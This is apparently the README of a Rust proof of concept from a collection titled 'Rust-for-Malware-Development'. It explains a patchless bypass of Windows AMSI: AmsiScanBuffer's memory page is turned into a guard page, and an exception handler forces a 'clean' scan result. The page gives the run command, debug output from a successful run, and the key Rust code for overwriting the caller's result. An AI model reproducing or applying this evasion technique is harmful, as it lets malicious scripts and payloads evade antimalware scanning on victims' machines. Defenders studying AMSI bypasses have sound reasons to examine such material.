Files
Whitecat18 28e7fac1d3 Upload
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
2026-06-06 14:53:10 +05:30
..
2026-06-06 14:53:10 +05:30
2026-06-06 14:53:10 +05:30
2026-06-06 14:53:10 +05:30

AMSI Page Guard Bypass (Rust PoC)

A patchless AMSI bypass that disables AmsiScanBuffer without modifying a single byte of amsi.dll.

TL;DR

We turn the memory page containing AmsiScanBuffer into a trap. Any call to it raises a CPU exception before the first instruction runs. Our exception handler writes AMSI_RESULT_CLEAN into the caller's result variable, fakes a ret, and re-arms the trap for the next call.

Usage

cargo r -r

Expected output:

[DEBUG] Starting AMSI bypass setup
[DEBUG] amsi.dll loaded at 0x7ffd...
[DEBUG] Found module base: 0x7ffd... (name hash: ...)
[DEBUG] Found API 'AmsiScanBuffer' (hash 0x...) at 0x7ffd...
[DEBUG] VEH added: 0x...
[DEBUG] Page guarded (old protect: 0x20)
[DEBUG] Testing bypass...
[DEBUG] Exception: 0x80000001 at 0x7ffd...      ← guard-page violation
[DEBUG] Guard hit on AmsiScanBuffer! Patching...
[DEBUG] Patched result, returning to caller at 0x...
[DEBUG] Exception: 0x80000004 at 0x...          ← single-step
[DEBUG] Re-guarded AmsiScanBuffer page (old: 0x20)
[TEST] AmsiScanBuffer called: HR=0x0, Result=0x0
[SUCCESS] Bypass works! Result forced to CLEAN

The one critical gotcha

In the handler, arg 6 lives at [Rsp+0x30] — but it's a pointer to AMSI_RESULT, not the value. The fix is to load the pointer first, then dereference:

let stack = (*ctx).Rsp as *mut *mut c_void;
let p_amsi_result = *stack.add(6) as *mut AMSI_RESULT;  // load, don't &
*p_amsi_result = AMSI_RESULT_CLEAN;

Writing to stack.add(6) directly only corrupts the stack slot — the caller's result variable is somewhere else entirely and never gets touched.

Credits & References